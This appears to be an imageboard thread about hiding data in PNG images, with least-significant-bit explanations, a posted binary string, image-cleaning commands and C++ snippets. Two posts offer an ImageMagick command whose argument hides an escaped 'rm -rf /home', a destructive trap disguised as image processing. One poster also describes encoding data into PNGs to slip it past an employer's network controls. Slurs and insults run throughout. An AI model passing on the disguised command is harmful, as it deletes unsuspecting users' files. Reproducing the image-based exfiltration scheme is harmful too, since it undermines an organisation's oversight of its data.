Hooray! I figured out how to extract the binary data from a png as a string. Can't wait to start hiding shit in images and gifs. Steganography ftw
>>107552218>I figured out howDid you read an article, one of thousands, that explains it step by step?
>>107552218I will be using the steganography algorithm that I didn't know how to write but had visions of during my first manic episode in 2009. I thought it was the theory of everything.
>>107552235no i just figured it out. i'm not a genius, i'm just not a fucking retard like you are
>>107552254it's all about binary strings. i'm using the bible translated into a conlang as a source. or i could just use a regular bible, dude whatever
>>107552218'00000000000001000000000100001010010011100001010001100000011000001000010101010011101000001001111100010010110110000000000000011001011010000010000000100110101010000101011000000011011000001010011001110100000000111010010110001110001001011000010011101001100010000111100101011001011010110110010101000001010001110000101000111111011100101001011010110010000000001011000110010010100010010000011100010011110110001001111110011111111100010110010001000010011000001011011000010010110011001011111011000010100010111111001001100000000001111001010011100000000010000111001110011101000011101100010011010000010100100101010001010110000001000010011000011101110000010101000011110111000011010011110001101100110011100101001011101001111001001011001010001001001011000100010001010010000101111010101001110011110010100001101001011001101000011101000011001101010000110101000010011111110100100000101011001010110011000011011101100011101110011001011101010011011100000110100000101000100100001011111100110100100000011110111100000000001000001001001000100110100000111101001100100101001101010000010011010000001010001111110001101110110001110101001101011101110100011010100000010101111000110001011001010101001101001010000110101010000101011000001000000010000001010100101011000101101000010101010111000100110000111100101100000000101101001010100100010010010001100000001110001100010010010010010000001101011000111011110001111000101001100000100010000100011100111000110000011000000000101010110000000101100101101101101010000110011100010001011111110100100101100111011010110011010010101011010111000001010000011100110011010100100001100110111000010010101010100110010001110101000011011001000100010001000101010101100110010000100110001001010101000000001000100011001001010010001100011100111100000010100100010111000111111011001101001000010111100110010011101010001only first 2000 b/c post limit. holy shit that took forever. now what do i do?
>>107552375im asking how to decode your encryption thing
>>107552406planning to add the bible to the pngthe 1's and 0's in the binary data tell you what the message is. but you have to use the bible.
>>107552218opening 4chan images with winrar to share files was already a thing 20 years ago retard
>>107552580not even dollar store terry
>>107552218baste, have a you
>>107552614the devs talked to both me and terry. he thought it was god, but no, it's just the devs
>>107552614this was the message i got 17 years ago. i didn't figure out what it was until a few months ago. i didn't know it was a steganography algo. at the time i had no idea what steganography even was. i was taking intro compsci and i got a C. didn't understand code until my second manic episode in 2017
>>107552218Please be aware that certain combinations of 0s and 1s are prohibited by law.
>>107552218With a png it's pretty simple, you just use the last bit of each color byte. So for 24 bit images, you get 3 bits per pixel to encode something. It's visually imperceptible.
$ magick dirty.png ppm:- | magick - png:- | oxipng -o max --strip=safe --fast --out clean.png -sorry, but the atheist demon chuds win this round. i won't be exorcised by mere steganography.
>>107553458Ok, maybe I will be exorcised by the humiliation of messing up the formatting.
>>107553458magick --transform="`$'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'`" in.png out.png
magick --transform="`$'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'`" in.png out.png
>>107553458you're assuming the hidden data is in the metadata or the compression. If it's in the pixels themselves you should be using a lossy compressor to get rid of it.
>>107553525this will brick your computer
>>107552261OK but the end result is we can both do it so.....
>>107552235PNG is really fucking basic. Even I wrote my own pure js (for web shit because canvas blobbed didn't have the properties I wanted) PNG library. Probably the hardest thing is the zlib compressor.
>>107552218My workplace moved to a system of using remote VMs to do all our work on. Data can not enter or leave the network except through their specialized tool that supports only images (need to take screenshots for audit purposes).Took like, 30 minutes to create a script that takes arbitrary data and turns it into a PNG.
>>107552218Is this the thread?
>>107552261>no ... i'm just not a fucking retard like you areI'll take that as a yes. I hope you get a B+, kiddo.
>>107554522i suppose (((they))) patched that
>>107553495>tfw no open source pizza>mfw starving
>>107554588>opening pizza on windowsbold
>>107552218>he doesn't know
>>107554588there is a ACE exploit in this
>>107554689this userscript is broken anon
>>107552324First four octets aren't 0x89 P N G. This didn't come from a .PNG file.
>>107553307You can get away with much more. Picrel is 8 bits per pixel, and if you uses RGB48 you can do 24 bits per pixel without it evn being visible at all. See >>107554689>>107554722Works on my machine.
>>107554791Cute monke.
>>107554695yea its so unstable when you are dealing with files being used by other processes, otherwise HxD just works
in c++ that is just std::ifstream file(PATH, std::ios::binary);file.seekg(0, std::ios::end);std::string f(file.tellg(), '?');file.seekg(0, std::ios::beg);file.read(f.data(), f.size());
std::ifstream file(PATH, std::ios::binary);file.seekg(0, std::ios::end);std::string f(file.tellg(), '?');file.seekg(0, std::ios::beg);file.read(f.data(), f.size());
>>107554522how do I extract this? was this made using file2png.py?
>>107555091nice UB you got here
>>107552218Great job anon. You found a way to (inefficiently) encode a 10x10png image into a 1606x1090png
>>107554876monke?
>>107559201She's a biological female, sir. https://www.reddit.com/r/Cristinysam/